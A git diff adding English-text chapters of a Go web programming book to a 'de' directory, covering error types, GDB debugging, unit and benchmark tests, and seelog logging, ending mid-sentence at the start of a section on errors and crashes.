+1,17 @@ +# 11 Error Handling, Debugging, and Testing + +We often see the majority of a programmer's "programming" time spent on checking for bugs and working on bug fixes. Whether you are refactoring code or re-configuring systems, much of your time will undoubtedly be spent troubleshooting and testing. From the outside, people may think that all we do as programmers is design our systems and then write our code. They might think that we have the ideal job! We do work that is very engaging, and implement systems that have never been done before. While this last part may be true, what they don't know is that we spend the majority of our time cycling between troubleshooting, debugging and testing our code! Of course, if you have good programming habits and the technological solutions to help you take on these tasks, then you can minimize the time spent doing these things, enabling you to focus instead on more valuable things like the application logic. + +Unfortunately, many programmers are not thorough in fulfilling their error handling, debugging and testing responsibilities beforehand. Inexperienced programmers will often only make an effort to find errors and flaws after they have occurred, spending hours locating and fixing problems after the application is already online. It's good practice (and probably common sense) that we should design our applications with proper error handling, test cases, etc., from the get go. This will make your job, and the jobs of all the other developers who may be working on your application someday, much easier when they inevitably need to modify the code or upgrade the system. + +In the process of developing web applications, you will inevitably encounter unforeseen errors. What's the most efficient way of finding the causes of these errors and solving them? Section 11.1 describes how to handle errors in the Go language as well as how to design your own error handling package and functions. Section 11.2 describes how to use GDB to debug programs under dynamic operating conditions, depending on a variety of variable information. We then discuss application monitoring and debugging operations. + +Section 11.3 will explain unit testing in Go and feature some in-depth discussions and examples on how to write unit tests, as well as defining Go's unit testing rules. We'll see how following these rules will ensure that when upgrading or modifying your application, the test code will be able to run smoothly. + +Many programmers avoid spending time to learn and cultivate good debugging and testing habits. This chapter takes on these issues head-on so you won't have to run away from these tasks any longer. Since you're just learning how to build web applications in Go, let's use this opportunity to establish these good habits from the very beginning. + +## Links + +- [Directory](preface.md) +- Previous chapter: [Chapter 10 summary](10.4.md) +- Next section: [Error handling](11.1.md) diff --git a/de/11.1.md b/de/11.1.md new file mode 100644 index 00000000..dfc79b3d --- /dev/null +++ b/de/11.1.md @@ -0,0 +1,209 @@ +# 11.1 Error handling + +Go's major design considerations are rooted in the following ideas: a simple, clear, and concise syntax (similar to C) and statements which are explicit and don't contain any hidden or unexpected things. Go's error handling scheme reflects all of these principles in the way that it's implemented. If you're familiar with the C language, you'll know that it's common to return -1 or NULL values to indicate that an error has occurred. However users who are not familiar with C's API will not know exactly what these return values mean. In C, it's not explicit whether a value of `0` indicates success of failure. On the other hand, Go explicitly defines a type called `error` for the sole purpose of expressing errors. Whenever a function returns, we check to see whether the error variable is `nil` or not to determine if the operation was successful. For example, the `os.Open` function fails, it will return a non-nil error variable. + + func Open(name string) (file * File, err error) + +Here's an example of how we'd handle an error in `os.Open`. First, we attempt to open a file. When the function returns, we check to see whether it succeeded or not by comparing the error return value with nil, calling `log.Fatal` to output an error message if it's a non-nil value: + + f, err := os.Open("filename.ext") + if err != nil { + log.Fatal(err) + } + +Similar to the `os.Open` function, the functions in Go's standard packages all return error variables to facilitate error handling. This section will go into detail about the design of error types and discuss how to properly handle errors in web applications. + +## Error type + +`error` is an interface type with the following definition: + + type error interface { + Error() string + } + +`error` is a built-in interface type. We can find its definition in the builtin package below. We also have a lot of internal packages which use `error` in a private structure called `errorString`, which implements the error interface: + + // errorString is a trivial implementation of error. + type errorString struct { + s string + } + + func (e *errorString) Error() string { + return e.s + } + +You can convert a regular string to an `errorString` through `errors.New` in order to get an object that satisfies the error interface. Its internal implementation is as follows: + + // New returns an error that formats as the given text. + func New(text string) error { + return &errorString{text} + } + +The following example demonstrates how to use `errors.New`: + + func Sqrt(f float64) (float64, error) { + if f < 0 { + return 0, errors.New("math: square root of negative number") + } + // implementation + } + +In the following example, we pass a negative number to our `Sqrt` function. Checking the `err` variable, we check whether the error object is non-nil using a simple nil comparison. The result of the comparison is true, so `fmt.Println` (the `fmt` package calls the error method when dealing with error calls) is called to output an error. + + f, err := Sqrt(-1) + if err != nil { + fmt.Println(err) + } + +## Custom Errors + +Through the above description, we know that a go Error is an interface. By defining a struct that implements this interface, we can implement their error definitions. Here's an example from the JSON package: + + type SyntaxError struct { + msg string // error description + Offset int64 // where the error occurred + } + + func (e * SyntaxError) Error() string {return e.msg} + +The error's `Offset` field will not be printed at runtime when syntax errors occur, but using a type assertion error type, you can print the desired error message: + + if err := dec.Decode(&val); err != nil { + if serr, ok := err.(*json.SyntaxError); ok { + line, col := findLine(f, serr.Offset) + return fmt.Errorf("%s:%d:%d: %v", f.Name(), line, col, err) + } + return err + } + +It should be noted that when the function returns a custom error, the return value is set to the recommend type of error rather than a custom error type. Be careful not to pre-declare variables of custom error types. For example: + + func Decode() *SyntaxError { + // error, which may lead to the caller's err != nil comparison to always be true. + var err * SyntaxError // pre-declare error variable + if an error condition { + err = &SyntaxError{} + } + return err // error, err always equal non-nil, causes caller's err != nil comparison to always be true + } + +See http://golang.org/doc/faq#nil_error for an in depth explanation + +The above example shows how to implement a simple custom Error type. But what if we need more sophisticated error handling? In this case, we have to refer to the `net` package approach: + + package net + + type Error interface { + error + Timeout() bool // Is the error a timeout? + Temporary() bool // Is the error temporary? + } + + +Using type assertion, we can check whether or not our error is of type net.Error, as shown in the following example. This allows us to refine our error handling -if a temporary error occurs on the network, it will sleep for 1 second, then retry the operation. + + if nerr, ok := err.(net.Error); ok && nerr.Temporary() { + time.Sleep(1e9) + continue + } + if err != nil { + log.Fatal(err) + } + +## Error handling + +Go handles errors and checks the return values of functions in a C-like fashion, which is different than what most of the other major languages do. This makes the code more explicit and predictable, but also more verbose. To reduce the redundancy of our error-handling code, we can use abstract error handling functions that allow us to implement similar error handling behaviour: + + func init() { + http.HandleFunc("/view", viewRecord) + } + + func viewRecord(w http.ResponseWriter, r *http.Request) { + c := appengine.NewContext(r) + key := datastore.NewKey(c, "Record", r.FormValue("id"), 0, nil) + record := new(Record) + if err := datastore.Get(c, key, record); err != nil { + http.Error(w, err.Error(), 500) + return + } + if err := viewTemplate.Execute(w, record); err != nil { + http.Error(w, err.Error(), 500) + } + } + +The above example demonstrate access to data and template call has detected error when an error occurs , call a unified handler http.Error, returns a 500 error code to the client , and display the corresponding error data. But when more and more HandleFunc join, so error-handling logic code will be more and more, in fact, we can customize the router to reduce code ( refer to realize the idea of ​​the third chapter of HTTP Detailed) . + +The above function is an example of getting data and handling an error when it occurs by calling a unified error processing function called `http.Error`. In this case, it will return an Internal Error 500 code to the client, and display the corresponding error data. Even using this method however, when more and more `HandleFunc`'s are needed, the error-handling logic can still become quite bloated. An alternative approach would be to customize our router to handle errors by default: + + type appHandler func(http.ResponseWriter, *http.Request) error + + func (fn appHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) { + if err := fn(w, r); err != nil { + http.Error(w, err.Error(), 500) + } + } + +Above we've defined a custom router. We can then register our handler as usual: + + func init() { + http.Handle("/view", appHandler(viewRecord)) + } + +The `/view` handler can then be handled by the following code; it is a lot simpler than our original implementation isn't it? + + func viewRecord(w http.ResponseWriter, r *http.Request) error { + c := appengine.NewContext(r) + key := datastore.NewKey(c, "Record", r.FormValue("id"), 0, nil) + record := new(Record) + if err := datastore.Get(c, key, record); err != nil { + return err + } + return viewTemplate.Execute(w, record) + } + +The error handler example above will return the 500 Internal Error code to users when any errors occur, in addition to printing out the corresponding error code. In fact, we can customize the type of error returned to output a more developer friendly error message with information that is useful for debugging like so: + + type appError struct { + Error error + Message string + Code int + } + +Our custom router can be changed accordingly: + + type appHandler func(http.ResponseWriter, *http.Request) *appError + + func (fn appHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) { + if e := fn(w, r); e != nil { // e is *appError, not os.Error. + c := appengine.NewContext(r) + c.Errorf("%v", e.Error) + http.Error(w, e.Message, e.Code) + } + } + +After we've finished modifying our custom error, our logic can be changed as follows: + + func viewRecord(w http.ResponseWriter, r *http.Request) *appError { + c := appengine.NewContext(r) + key := datastore.NewKey(c, "Record", r.FormValue("id"), 0, nil) + record := new(Record) + if err := datastore.Get(c, key, record); err != nil { + return &appError{err, "Record not found", 404} + } + if err := viewTemplate.Execute(w, record); err != nil { + return &appError{err, "Can't display record", 500} + } + return nil + } + +As shown above, we can return different error codes and error messages in our views, depending on the situation. Although this version of our code functions similarly to the previous version, it's more explicit, and its error message prompts are more comprehensible. All of these factors can help to make your application more scalable as complexity increases. + +## Summary + +Fault tolerance is a very important aspect of any programming language. In Go, it is achieved through error handling. Although `Error` is only one interface, it can have many variations in the way that it's implemented, and we can customize it according to our needs on a case by case basis. By introducing these various error handling concepts, we hope that you will have gained some insight on how to implement better error handling schemes in your own web applications. + +## Links + +- [Directory](preface.md) +- Previous section: [Error handling, debugging and testing](11.0.md) +- Next section: [Debugging by using GDB](11.2.md) diff --git a/de/11.2.md b/de/11.2.md new file mode 100644 index 00000000..c11b0cf4 --- /dev/null +++ b/de/11.2.md @@ -0,0 +1,264 @@ +# 11.2 Debugging with GDB + +During the development process of any application, developers will always need to perform some kind of code debugging. PHP, Python, and most of the other dynamic languages, are able to be modified at runtime, as long as the modifications do not explicitly need to be compiled. We can easily print data in dynamic operating environments, outputting our changes and printing variable information directly. In Go, you can of course speckle your code with `Println`s before-hand to display variable information for debugging purposes, but any changes to your code need to be recompiled every time. This can quickly become cumbersome. If you've programmed in Python or Javascript, you'll know that the former provides tools such as pdb and ipdb for debugging, and the latter has similar tools that are able to dynamically display variable information and facilitate single-step debugging. Fortunately, Go has native support for a similar tool which provides such debugging features: GDB. This section serves as a brief introduction into debugging Go applications using GDB. + +## GDB debugging profile + +GDB is a powerful debugging tool targeting UNIX-like systems, released by the FSF (Free Software Foundation). GDB allows us to do the following things: + +1. Initial settings can be customize according to the specific requirements of your application. +2. Can be set so that the program being debugged in the developer's console stops at the prescribed breakpoints (breakpoints can be conditional expressions). +3. When the program has been stopped, you can check its current state to see what happened. +4. Dynamically change the current program's execution environment. + +To debug your Go applications using GDB, the version of GDB you use must be greater than 7.1. + +When compiling Go programs, the following points require particular attention: + +1. Using `-ldflags "-s"` will prevent the standard debugging information from being printed +2. Using `-gcflags "-N-l"` will prevent Go from performing some of its automated optimizations -optimizations of aggregate variables, functions, etc. These optimizations can make it very difficult for GDB to do its job, so it's best to disable them at compile time using these flags. + +Some of GDB's most commonly used commands are as follows: + +- list + +Also used in its abbreviated form `l`, `list` is used to display the source code. By default, it displays ten lines of code and you can specify the line you wish to display. For example, the command `list 15` displays ten lines of code centered around line 15, as shown below. + + 10 time.Sleep(2 * time.Second) + 11 c <- i + 12 } + 13 close(c) + 14 } + 15 + 16 func main() { + 17 msg := "Starting main" + 18 fmt.Println(msg) + 19 bus := make(chan int) + +- break + +Also used in its abbreviated form `b`, `break` is used to set breakpoints, and takes as an argument that defines which point to set the breakpoint at. For example, `b 10` sets a break point at the tenth row. + +- delete + +Also used in its abbreviated form `d`, `delete` is used to delete break points. The break point is set followed by the serial number. The serial number can be obtained through the `info breakpoints` command. Break points set with their corresponding serial numbers are displayed as follows to set a break point number. + + Num Type Disp Enb Address What + 2 breakpoint keep y 0x0000000000400dc3 in main.main at /home/xiemengjun/gdb.go:23 + breakpoint already hit 1 time + +- backtrace + +Abbreviated as `bt`, this command is used to print the execution of the code, for instance: + + #0 main.main () at /home/xiemengjun/gdb.go:23 + #1 0x000000000040d61e in runtime.main () at /home/xiemengjun/go/src/pkg/runtime/proc.c:244 + #2 0x000000000040d6c1 in schedunlock () at /home/xiemengjun/go/src/pkg/runtime/proc.c:267 + #3 0x0000000000000000 in ?? () + +- info + +The `info` command can be used in conjunction with several parameters to display information. The following parameters are commonly used: + +- `info locals` + +Displays the currently executing program's variable values + +- `info breakpoints` + +Displays a list of currently set breakpoints + +- `info goroutines` + +Displays the current list of running goroutines, as shown in the following code, with the `*` indicating the current execution + + * 1 running runtime.gosched + * 2 syscall runtime.entersyscall + 3 waiting runtime.gosched + 4 runnable runtime.gosched + +- print + +Abbreviated as `p`, this command is used to print variables or other information. It takes as arguments the variable names to be printed and of course, there are some very useful functions such as $len() and $cap() that can be used to return the length or capacity of the current strings, slices or maps. + +- whatis + +`whatis` is used to display the current variable type, followed by the variable name. For instance, `whatis msg`, will output the following: + +type = struct string + +- next + +Abbreviated as `n`, `next` is used in single-step debugging to skip to the next step. When there is a break point, you can enter `n` to jump to the next step to continue + +- continue + +Abbreviated as `c`, `continue` is used to jump out of the current break point and can be followed by a parameter N, which specifies the number of times to skip the break point + +- set variable + +This command is used to change the value of a variable in the process. It can be used like so: `set variable = ` + +## The debugging process + +Now, let's take a look at the following code to see how GDB is typically used to debug Go programs: + + + package main + + import ( + "fmt" + "time" + ) + + func counting(c chan<- int) { + for i := 0; i < 10; i++ { + time.Sleep(2 * time.Second) + c <- i + } + close(c) + } + + func main() { + msg := "Starting main" + fmt.Println(msg) + bus := make(chan int) + msg = "starting a gofunc" + go counting(bus) + for count := range bus { + fmt.Println("count:", count) + } + } + + +Now we compile the file, creating an executable file called "gdbfile": + + go build -gcflags "-N -l" gdbfile.go + +Use the GDB command to start debugging : + + gdb gdbfile + +After first starting GDB, you'll have to enter the `run` command to see your program running. You will then see the program output the following; executing the program directly from the command line will output exactly the same thing: + + (gdb) run + Starting program: /home/xiemengjun/gdbfile + Starting main + count: 0 + count: 1 + count: 2 + count: 3 + count: 4 + count: 5 + count: 6 + count: 7 + count: 8 + count: 9 + [LWP 2771 exited] + [Inferior 1 (process 2771) exited normally] + +Ok, now that we know how to get the program up and running, let's take a look at setting breakpoints: + + (gdb) b 23 + Breakpoint 1 at 0x400d8d: file /home/xiemengjun/gdbfile.go, line 23. + (gdb) run + Starting program: /home/xiemengjun/gdbfile + Starting main + [New LWP 3284] + [Switching to LWP 3284] + + Breakpoint 1, main.main () at /home/xiemengjun/gdbfile.go:23 + 23 fmt.Println("count:", count) + + +In the above example, we use the `b 23` command to set a break point on line 23 of our code, then enter `run` to start the program. When our program stops at our breakpoint, we typically need to look at the corresponding source code context. Entering the `list` command into our GDB session, we can see the five lines of code preceding our breakpoint: + + (gdb) list + 18 fmt.Println(msg) + 19 bus := make(chan int) + 20 msg = "starting a gofunc" + 21 go counting(bus) + 22 for count := range bus { + 23 fmt.Println("count:", count) + 24 } + 25 } + +Now that GDB is running the current program environment, we have access to some useful debugging information that we can print out. To see the corresponding variable types and values, type `info locals`: + + (gdb) info locals + count = 0 + bus = 0xf840001a50 + (gdb) p count + $1 = 0 + (gdb) p bus + $2 = (chan int) 0xf840001a50 + (gdb) whatis bus + type = chan int + +To let the program continue its execution until the next breakpoint, enter the `c` command: + + (gdb) c + Continuing. + count: 0 + [New LWP 3303] + [Switching to LWP 3303] + + Breakpoint 1, main.main () at /home/xiemengjun/gdbfile.go:23 + 23 fmt.Println("count:", count) + (gdb) c + Continuing. + count: 1 + [Switching to LWP 3302] + + Breakpoint 1, main.main () at /home/xiemengjun/gdbfile.go:23 + 23 fmt.Println("count:", count) + + +After each `c`, the code will execute once then jump to the next iteration of the `for` loop. It will, of course, continue to print out the appropriate information. + +Let's say that you need to change the context variables in the current execution environment, skip the process then continue to the next step. You can do so by first using `info locals` to get the variable states, then the `set variable` command to modify them: + + (gdb) info locals + count = 2 + bus = 0xf840001a50 + (gdb) set variable count=9 + (gdb) info locals + count = 9 + bus = 0xf840001a50 + (gdb) c + Continuing. + count: 9 + [Switching to LWP 3302] + + Breakpoint 1, main.main () at /home/xiemengjun/gdbfile.go:23 + 23 fmt.Println("count:", count) + +Finally, while running, the program creates a number of number goroutines. We can see what each goroutine is doing using `info goroutines`: + + (gdb) info goroutines + * 1 running runtime.gosched + * 2 syscall runtime.entersyscall + 3 waiting runtime.gosched + 4 runnable runtime.gosched + (gdb) goroutine 1 bt + #0 0x000000000040e33b in runtime.gosched () at /home/xiemengjun/go/src/pkg/runtime/proc.c:927 + #1 0x0000000000403091 in runtime.chanrecv (c=void, ep=void, selected=void, received=void) + at /home/xiemengjun/go/src/pkg/runtime/chan.c:327 + #2 0x000000000040316f in runtime.chanrecv2 (t=void, c=void) + at /home/xiemengjun/go/src/pkg/runtime/chan.c:420 + #3 0x0000000000400d6f in main.main () at /home/xiemengjun/gdbfile.go:22 + #4 0x000000000040d0c7 in runtime.main () at /home/xiemengjun/go/src/pkg/runtime/proc.c:244 + #5 0x000000000040d16a in schedunlock () at /home/xiemengjun/go/src/pkg/runtime/proc.c:267 + #6 0x0000000000000000 in ?? () + +From the `goroutines` command, we can have a better picture of what Go's runtime system is doing internally; the calling sequence for each function is plainly displayed. + +## Summary + +In this section, we introduced some basic commands from the GDB debugger that you can use to debug your Go applications. These included the `run`, `print`, `info`, `set variable`, `continue`, `list` and `break` commands, among others. From the brief examples above, I hope that you will have a better understanding of how the debugging process works in Go using the GDB debugger. If you want to get more debugging tips, please refer to the GDB manual on its [official website](http://www.gnu.org/software/gdb/). + +## Links + +- [Directory](preface.md) +- Previous section: [Error handling](11.1.md) +- Next section: [Write test cases](11.3.md) diff --git a/de/11.3.md b/de/11.3.md new file mode 100644 index 00000000..259aaef3 --- /dev/null +++ b/de/11.3.md @@ -0,0 +1,163 @@ +# 11.3 Writing test cases + +In the course of development, a very important step is to test our code to ensure its quality and integrity. We need to make sure that every function returns the expected result, and that our code performs optimally. We already know that the focus of unit tests is to find logical errors in the design or implementation of programs. They are used to detect and expose problems in code early on so that we can more easily fix them, before they get out of hand. We also know that performance tests are conducted for the purpose of optimizing our code so that it is stable under load, and can maintain a high level of concurrency. In this section, we'll take a look at some commonly asked questions about how unit and performance tests are implemented in Go. + +The Go language comes with a lightweight testing framework called `testing`, and we can use the `go test` command to execute unit and performance tests. Go's `testing` framework works similarly to testing frameworks in other languages. You can develop all sorts of test suites with them, which may include tests for unit testes, benchmarking, stress tests, etc. Let's learn about testing in Go, step by step. + +## How to write test cases + +Since the `go test` command can only be executed in a directory containing all corresponding files, we are going to create a new project directory `gotest` so that all of our code and test code are in the same directory. + +Let's go ahead and create two files in the directory called gotest.go and gotest_test.go + +1. Gotest.go: This file declares our package name and has a function that performs a division operation: + +
package gotest
+	
+	import (
+		"errors"
+	)
+	
+	func Division(a, b float64) (float64, error) {
+		if b == 0 {
+			return 0, errors.New("Divisor can not be 0")
+		}
+		return a / b, nil
+	}
+ +2. Gotest_test.go: This is our unit test file. Keep in mind the following principles for test files: + +- File names must end in `_test.go` so that `go test` can find and execute the appropriate code +- You have to import the `testing` package +- All test case functions begin with `Test` +- Test cases follow the source code order +- Test functions of the form `TestXxx()` take a `testing.T` argument; we can use this type to record errors or to get the testing status +- In functions of the form `func TestXxx(t * testing.T)`, the `Xxx` section can be any alphanumeric combination, but the first letter cannot be a lowercase letter [az]. For example, `Testintdiv` would be an invalid function name. +- By calling one of the `Error`, `Errorf`, `FailNow`, `Fatal` or `FatalIf` methods of `testing.T` on our testing functions, we can fail the test. In addition, we can call the `Log` method of `testing.T` to record the information in the error log. + +Here is our test code: + + package gotest + + import ( + "testing" + ) + + func Test_Division_1(t *testing.T) { + // try a unit test on function + if i, e := Division(6, 2); i != 3 || e != nil { + // If it is not as expected, then the test has failed + t.Error("division function tests do not pass ") + } else { + // record the expected information + t.Log("first test passed ") + } + } + + func Test_Division_2(t *testing.T) { + t.Error("just does not pass") + } + + +When executing `go test` in the project directory, it will display the following information: + + --- FAIL: Test_Division_2 (0.00 seconds) + gotest_test.go: 16: is not passed + FAIL + exit status 1 + FAIL gotest 0.013s + +We can see from this result that the second test function does not pass since we wrote in a dead-end using `t.Error`. But what about the performance of our first test function? By default, executing `go test` does not display test results. We need to supply the verbose argument `-v` like `go test -v` to display the following output: + + === RUN Test_Division_1 + --- PASS: Test_Division_1 (0.00 seconds) + gotest_test.go: 11: first test passed + === RUN Test_Division_2 + --- FAIL: Test_Division_2 (0.00 seconds) + gotest_test.go: 16: is not passed + FAIL + exit status 1 + FAIL gotest 0.012s + +The above output shows in detail the results of our test. We see that the test function 1 `Test_Division_1` passes, and the test function 2 `Test_Division_2` fails, finally concluding that our test suite does not pass. Next, we modify the test function 2 with the following code: + + func Test_Division_2(t *testing.T) { + // try a unit test on function + if _, e := Division(6, 0); e == nil { + // If it is not as expected, then the error + t.Error("Division did not work as expected.") + } else { + // record some of the information you expect to record + t.Log("one test passed.", e) + } + } + +We execute `go test-v` once again. The following information should now be displayed -the test suite has passed~: + + === RUN Test_Division_1 + --- PASS: Test_Division_1 (0.00 seconds) + gotest_test.go: 11: first test passed + === RUN Test_Division_2 + --- PASS: Test_Division_2 (0.00 seconds) + gotest_test.go: 20: one test passed. divisor can not be 0 + PASS + ok gotest 0.013s + +## How to write stress tests + +Stress testing is used to detect function performance, and bears some resemblance to unit testing (which we will not get into here), however we need need to pay attention to the following points: + +- Stress tests must follow the following format, where XXX can be any alphanumeric combination and its first letter cannot be a lowercase letter. + + func BenchmarkXXX (b *testing.B){...} + +- By default, `Go test` does not perform function stress tests. If you want to perform stress tests, you need to set the flag `-test.bench` with the format: `-test.bench="test_name_regex"`. For instance, to run all stress tests in your suite, you would run `go test -test.bench=".*"`. +- In your stress tests, please remember to use testing.BN any loop bodies, so that the tests can be run properly. +- As before, test file names must end in `_test.go` + +Here we create a stress test file called webbench_test.go: + + package gotest + + import ( + "testing" + ) + + func Benchmark_Division(b *testing.B) { + for i := 0; i < bN; i++ { // use bN for looping + Division(4, 5) + } + } + + func Benchmark_TimeConsumingFunction(b *testing.B) { + b.StopTimer() // call the function to stop the stress test time count + + // Do some initialization work, such as reading file data, database connections and the like, + // So that our benchmarks reflect the performance of the function itself + + b.StartTimer() // re-start time + for i := 0; i < b.N; i++ { + Division(4, 5) + } + } + + + +We then execute the `go test -file webbench_test.go -test.bench =".*"` command, which outputs the following results: + + PASS + Benchmark_Division 500000000 7.76 ns/ op + Benchmark_TimeConsumingFunction 500000000 7.80 ns/ op + ok gotest 9.364s + +The above results show that we did not perform any of our `TestXXX` unit test functions, and instead only performed our `BenchmarkXXX` tests (which is exactly as expected). The first `Benchmark_Division` test shows that our `Division()` function executed 500 million times, with an average execution time of 7.76ns. The second `Benchmark_TimeConsumingFunction` shows that our `TmeConsumingFunction` executed 500 million times, with an average execution time of 7.80ns. Finally, it outputs the total execution time of our test suite. + +## Summary + +From our brief encounter with unit and stress testing in Go, we can see that the `testing` package is very lightweight, yet packed with useful utilities. We saw that writing unit and stress tests can be very simple, and running them can be even easier with Go's built-in `go test` command. Every time we modify our code, we can simply run `go test` to begin regression testing. + +## Links + +- [Directory](preface.md) +- Previous section: [Debugging using GDB](11.2.md) +- Next section: [Summary](11.4.md) diff --git a/de/11.4.md b/de/11.4.md new file mode 100644 index 00000000..6bd250a2 --- /dev/null +++ b/de/11.4.md @@ -0,0 +1,9 @@ +# 11.4 Summary + +Over the course of the last three sections, we've introduced how to handle errors in Go, first looking at good error handling practices and design, then learning how to use the GDB debugger effectively. We saw that with GDB, we can perform single-step debugging, view and modify our program variables during execution, and print out the relevant process information. Finally, we described how to use Go's built-in `testing` framework to write unit and stress tests. Properly using this framework allows us to easily make any future changes to our code and perform the necessary regression testing. Good web applications must have good error handling, and part of that is having readable errors and error handling mechanisms which can scale in a predictable manner. Using the tools mentioned above as well as writing high quality and thorough unit and stress tests, we can have peace of mind knowing that once our applications are live, they can maintain optimal performance and run as expected. + +## Links + +- [Directory](preface.md) +- Previous section: [Write test cases](11.3.md) +- Next chapter: [Deployment and maintenance](12.0.md) diff --git a/de/12.0.md b/de/12.0.md new file mode 100644 index 00000000..67cccc87 --- /dev/null +++ b/de/12.0.md @@ -0,0 +1,9 @@ +# 12 Deployment and maintenance + +So far, we've covered the basics of developing, debugging and testing web applications in Go. As is often said, however: the last 10% of development takes 90% of the time. In this chapter, we will be emphasizing this last 10% of application development in order to truly craft reliable and high quality web applications. In the first section, we will examine how production services generate logs, and the process of logging itself. The second section will describe dealing with runtime errors, and how to manage them when they occur so that the impact on end users is minimized. In the third section, we tackle the subject of deploying standalone Go programs, which can be tricky at first. As you might know, Go programs cannot be written with daemons like you would with a language such as C. We'll discuss how background processes are typically managed in Go. Finally, our fourth and last section will address the process of backing up and recovering application data in Go. We'll take a look at some techniques for ensuring that in the event of a crash, we will be able to maintain the integrity of our data. + +## Links + +- [Directory](preface.md) +- Previous chapter: [Chapter 11 summary](11.4.md) +- Next section: [Logs](12.1.md) diff --git a/de/12.1.md b/de/12.1.md new file mode 100644 index 00000000..93db9b7d --- /dev/null +++ b/de/12.1.md @@ -0,0 +1,180 @@ +# 12.1 Logs + +We want to build web applications that can keep track of events which have occurred throughout execution, combining them all into one place for easy access later on, when we inevitably need to perform debugging or optimization tasks. Go provides a simple `log` package which we can use to help us implement simple logging functionality. Logs can be printed using Go's `fmt` package, called inside error handling functions for general error logging. Go's standard package only contains basic functionality for logging, however. There are many third party logging tools that we can use to supplement it if your needs are more sophisticated (tools similar to log4j and log4cpp, if you've ever had to deal with logging in Java or C++). A popular and fully featured, open-source logging tool in Go is the [seelog](https://github.com/cihub/seelog) logging framework. Let's take a look at how we can use `seelog` to perform logging in our Go applications. + +## Introduction to seelog + +Seelog is a logging framework for Go that provides some simple functionality for implementing logging tasks such as filtering and formatting. Its main features are as follows: + +- Dynamic configuration via XML; you can load configuration parameters dynamically without recompiling your program +- Supports hot updates, the ability to dynamically change the configuration without the need to restart the application +- Supports multi-output streams that can simultaneously pipe log output to multiple streams, such as a file stream, network flow, etc. +- Support for different log outputs + + - Command line output + - File Output + - Cached output + - Support log rotate + - SMTP Mail + +The above is only a partial list of seelog's features. To fully take advantage of all of seelog's functionality, have a look at its [official wiki](https://github.com/cihub/seelog/wiki) which thoroughly documents what you can do with it. Let's see how we'd use seelog in our projects: + +First install seelog: + + go get -u github.com/cihub/seelog + +Then let's write a simple example: + + package main + + import log "github.com/cihub/seelog" + + func main() { + defer log.Flush() + log.Info("Hello from Seelog!") + } + +Compile and run the program. If you see a `Hello from seelog` in your application log, seelog has been successfully installed and is running operating normally. + +## Custom log processing with seelog + +Seelog supports custom log processing. The following code snippet is based on the its custom log processing part of its package: + + + package logs + + import ( + "errors" + "fmt" + seelog "github.com/cihub/seelog" + "io" + ) + + var Logger seelog.LoggerInterface + + func loadAppConfig() { + appConfig := ` + + + + + + + + + + + + + + + + + ` + logger, err := seelog.LoggerFromConfigAsBytes([]byte(appConfig)) + if err != nil { + fmt.Println(err) + return + } + UseLogger(logger) + } + + func init() { + DisableLog() + loadAppConfig() + } + + // DisableLog disables all library log output + func DisableLog() { + Logger = seelog.Disabled + } + + // UseLogger uses a specified seelog.LoggerInterface to output library log. + // Use this func if you are using Seelog logging system in your app. + func UseLogger(newLogger seelog.LoggerInterface) { + Logger = newLogger + } + + +The above implements the three main functions: + +- `DisableLog` + +Initializes a global variable `Logger` with seelog disabled, mainly in order to prevent the logger from being repeatedly initialized + +- `LoadAppConfig` + +Initializes the configuration settings of seelog according to a configuration file. In our example we are reading the configuration from an in-memory string, but of course, you can read it from an XML file also. Inside the configuration, we set up the following parameters: + +- Seelog + +The `minlevel` parameter is optional. If configured, logging levels which are greater than or equal to the specified level will be recorded. The optional `maxlevel` parameter is similarly used to configure the maximum logging level desired. + +- Outputs + +Configures the output destination. In our particular case, we channel our logging data into two output destinations. The first is a rolling log file where we continuously save the most recent window of logging data. The second destination is a filtered log which records only critical level errors. We additionally configure it to alert us via email when these types of errors occur. + +- Formats + +Defines the various logging formats. You can use custom formatting, or predefined formatting -a full list of predefined formats can be found on seelog's [wiki](https://github.com/cihub/seelog/wiki/Format-reference) + +- `UseLogger` + +Set the current logger as our log processor + +Above, we've defined and configured a custom log processing package. The following code demonstrates how we'd use it: + + package main + + import ( + "net/http" + "project/logs" + "project/configs" + "project/routes" + ) + + func main() { + addr, _ := configs.MainConfig.String("server", "addr") + logs.Logger.Info("Start server at:%v", addr) + err := http.ListenAndServe(addr, routes.NewMux()) + logs.Logger.Critical("Server err:%v", err) + } + +## Email notifications + +The above example explains how to set up email notifications with `seelog`. As you can see, we used the following `smtp` configuration: + + + + + +We set the format of our alert messages through the `criticalemail` configuration, providing our mail server parameters to be able to receive them. We can also configure our notifier to send out alerts to additional users using the `recipient` configuration. It's a simple matter of adding one line for each additional recipient. + +To test whether or not this code is working properly, you can add a fake critical message to your application like so: + + logs.Logger.Critical("test Critical message") + +Don't forget to delete it once you're done testing, or when your application goes live, your inbox may be flooded with email notifications. + +Now, whenever our application logs a critical message while online, you and your specified recipients will receive a notification email. You and your team can then process and remedy the situation in a timely manner. + +## Using application logs + +When it comes to logs, each application's use-case may vary. For example, some people use logs for data analysis purposes, others for performance optimization. Some logs are used to analyze user behavior and how people interact with your website. Of course, there are logs which are simply used to record application events as auxiliary data for finding problems. + +As an example, let's say we need to track user attempts at logging into our system. This involves recording both successful and unsuccessful login attempts into our log. We'd typically use the "Info" log level to record these types of events, rather than something more serious like "warn". If you're using a linux-type system, you can conveniently view all unsuccessful login attempts from the log using the `grep` command like so: + + # cat /data/logs/roll.log | grep "failed login" + 2012-12-11 11:12:00 WARN : failed login attempt from 11.22.33.44 username password + +This way, we can easily find the appropriate information in our application log, which can help us to perform statistical analysis if needed. In addition, we also need to consider the size of logs generated by high-traffic web applications. These logs can sometimes grow unpredictably. To resolve this issue, we can set `seelog` up with the logrotate configuration to ensure that single log files do not consume excessive disk space. + +## Summary + +In this section, we've learned the basics of `seelog` and how to build a custom logging system with it. We saw that we can easily configure `seelog` into as powerful a log processing system as we need, using it to supply us with reliable sources of data for analysis. Through log analysis, we can optimize our system and easily locate the sources of problems when they arise. In addition, `seelog` ships with various default log levels. We can use the `minlevel` configuration in conjunction with a log level to easily set up tests or send automated notification messages. + +## Links + +- [Directory](preface.md) +- Previous section: [Deployment and maintenance](12.0.md) +- Next section: [Errors and crashes](12.2.md) diff --git a/de/12.2.md b/de/12.2.md new file mode 100644 index 00000000..1c408ae9 --- /dev/null +++ b/de/12.2.md @@ -0,0 +1,142 @@ +# 12.2 Errors and crashes + +Once our web applications go live, it's likely that there will be some unforeseen errors. A few example of common errors that may occur in the course of your application's daily operations, are listed below: 